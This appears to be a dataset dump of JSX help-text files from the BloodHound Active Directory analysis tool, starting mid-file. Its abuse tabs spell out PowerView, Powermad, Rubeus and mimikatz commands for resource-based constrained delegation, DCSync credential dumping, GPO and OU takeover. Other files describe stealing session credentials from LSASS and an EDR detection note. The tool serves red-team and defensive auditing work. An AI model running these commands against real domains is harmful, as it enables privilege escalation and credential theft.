Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with
Add-DomainObjectAcl, first create a PSCredential
object (these examples comes from the PowerView help
documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All'
}
</code>
</pre>
<p>
Once you have granted yourself this privilege, you
can execute a resource based constrained delegation
attack.
</p>
<p>
Abusing this primitive is currently only possible
through the Rubeus project.
</p>
<p>
First, if an attacker does not control an account
with an SPN set, Kevin Robertson's Powermad project
can be used to add a new attacker-controlled
computer account:
</p>
<pre>
<code>
{
"New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)"
}
</code>
</pre>
<p>
PowerView can be used to then retrieve the security
identifier (SID) of the newly created computer
account:
</p>
<pre>
<code>
{
'$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid'
}
</code>
</pre>
<p>
We now need to build a generic ACE with the
attacker-added computer SID as the principal, and
get the binary bytes for the new DACL/ACE:
</p>
<pre>
<code>
{'$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"\n' +
'$SDBytes = New-Object byte[] ($SD.BinaryLength)\n' +
'$SD.GetBinaryForm($SDBytes, 0)'}
</code>
</pre>
<p>
Next, we need to set this newly created security
descriptor in the
msDS-AllowedToActOnBehalfOfOtherIdentity field of
the comptuer account we're taking over, again using
PowerView in this case:
</p>
<pre>
<code>
{
"Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}"
}
</code>
</pre>
<p>
We can then use Rubeus to hash the plaintext
password into its RC4_HMAC form:
</p>
<pre>
<code>
{'Rubeus.exe hash /password:Summer2018!'}
</code>
</pre>
<p>
And finally we can use Rubeus' *s4u* module to get a
service ticket for the service name (sname) we want
to "pretend" to be "admin" for. This ticket is
injected (thanks to /ptt), and in this case grants
us access to the file system of the TARGETCOMPUTER:
</p>
<pre>
<code>
{
'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt'
}
</code>
</pre>
<p>
Cleanup can be done using the Remove-DomainObjectAcl
function:
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All'
}
</code>
</pre>
</>
);
}
case 'Domain':
return (
<>
<p>
To abuse ownership of a domain object, you may grant
yourself the DcSync privileges.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainObjectAcl,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync'
}
</code>
</pre>
<p>
Once you have granted yourself this privilege, you may
use the mimikatz dcsync function to dcsync the password
of arbitrary principals on the domain
</p>
<pre>
<code>
{
'lsadump::dcsync /domain:testlab.local /user:Administrator'
}
</code>
</pre>
<p>
Cleanup can be done using the Remove-DomainObjectAcl
function:
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync'
}
</code>
</pre>
</>
);
case 'GPO':
return (
<>
<p>
To abuse ownership of a domain object, you may grant
yourself the DcSync privileges.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainObjectAcl,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity TestGPO -Rights All'
}
</code>
</pre>
<p>
With full control of a GPO, you may make modifications
to that GPO which will then apply to the users and
computers affected by the GPO. Select the target object
you wish to push an evil policy down to, then use the
gpedit GUI to modify the GPO, using an evil policy that
allows item-level targeting, such as a new immediate
scheduled task. Then wait at least 2 hours for the group
policy client to pick up and execute the new evil
policy. See the references tab for a more detailed write
up on this abuse
</p>
<p>
Cleanup can be done using the Remove-DomainObjectAcl
function:
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $Cred -TargetIdentity TestGPO -Rights All'
}
</code>
</pre>
</>
);
case 'OU':
return (
<>
<h4>Control of the Organization Unit</h4>
<p>
With ownership of the OU object, you may grant yourself
the GenericAll privilege. This can be accomplished using
the Add-DomainObjectAcl function in PowerView.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainObjectACL,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as a
member of (the group that holds this ACE):
</p>
<pre>
<code>{`Add-DomainObjectAcl -Credential $Cred -TargetIdentity ${targetId} -Rights All`}</code>
</pre>
<p>
With full control of the OU, you may now add a new ACE
on the OU that will inherit down to the objects under
that OU. Below are two options depending on how targeted
you choose to be in this step:
</p>
<h4>Generic Descendent Object Takeover</h4>
<p>
The simplest and most straight forward way to abuse
control of the OU is to apply a GenericAll ACE on the OU
that will inherit down to all object types. Again, this
can be done using PowerView. This time we will use the
New-ADObjectAccessControlEntry, which gives us more
control over the ACE we add to the OU.
</p>
<p>
First, we need to reference the OU by its ObjectGUID,
not its name. The ObjectGUID for the OU {targetName}{' '}
is: {targetId}.
</p>
<p>
Next, we will fetch the GUID for all objects. This
should be '00000000-0000-0000-0000-000000000000':
</p>
<pre>
<code>
{'$Guids = Get-DomainGUIDMap\n' +
"$AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name"}
</code>
</pre>
<p>
Then we will construct our ACE. This command will create
an ACE granting the "JKHOLER" user full control of all
descendant objects:
</p>
<pre>
<code>
{
"$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity 'JKOHLER' -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid"
}
</code>
</pre>
<p>Finally, we will apply this ACE to our target OU:</p>
<pre>
<code>
{'$OU = Get-DomainOU -Raw (OU GUID)\n' +
'$DsEntry = $OU.GetDirectoryEntry()\n' +
"$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'\n" +
'$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)\n' +
'$dsEntry.PsBase.CommitChanges()'}
</code>
</pre>
<p>
Now, the "JKOHLER" user will have full control of all
descendent objects of each type.
</p>
<h4>Targeted Descendent Object Takeoever</h4>
<p>
If you want to be more targeted with your approach, it
is possible to specify precisely what right you want to
apply to precisely which kinds of descendent objects.
You could, for example, grant a user
"ForceChangePassword" privilege against all user
objects, or grant a security group the ability to read
every GMSA password under a certain OU. Below is an
example taken from PowerView's help text on how to grant
the "ITADMIN" user the ability to read the LAPS password
from all computer objects in the "Workstations" OU:
</p>
<pre>
<code>
{'$Guids = Get-DomainGUIDMap\n' +
"$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name\n" +
"$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name\n" +
'$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid\n' +
'$OU = Get-DomainOU -Raw Workstations\n' +
'$DsEntry = $OU.GetDirectoryEntry()\n' +
"$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'\n" +
'$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)\n' +
'$dsEntry.PsBase.CommitChanges()'}
</code>
</pre>
</>
);
}
};
WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
targetId: PropTypes.string,
haslaps: PropTypes.bool,
};
export default WindowsAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/Owns/WindowsAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 7,026 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const General = ({ sourceName, targetName }) => {
return (
<>
<p>
The user {targetName} has a session on the computer {sourceName}
.
</p>
<p>
When a user authenticates to a computer, they often leave
credentials exposed on the system, which can be retrieved
through LSASS injection, token manipulation/theft, or injecting
into a user's process.
</p>
<p>
Any user that is an administrator to the system has the
capability to retrieve the credential material from memory if it
still exists.
</p>
<p>
Note: A session does not guarantee credential material is
present, only possible.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/HasSession/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 204 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<h4>Gathering Credentials</h4>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<h4>Token Impersonation</h4>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/HasSession/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 197 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<p>
An EDR product may detect your attempt to inject into lsass and
alert a SOC analyst. There are many more opsec considerations to
keep in mind when stealing credentials or tokens. For more
information, see the References tab.
</p>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/HasSession/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 85 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
The Azure Kubernetes Service Contributor role grants full control
of the target Azure Kubernetes Service Managed Cluster. This includes
the ability to remotely fetch administrator credentials for the cluster
as well as the ability to execute arbitrary commands on compute
nodes associated with the AKS Managed Cluster.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAKSContributor/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 90 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZAKSContributor = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZAKSContributor.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZAKSContributor;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAKSContributor/AZAKSContributor.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 233 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.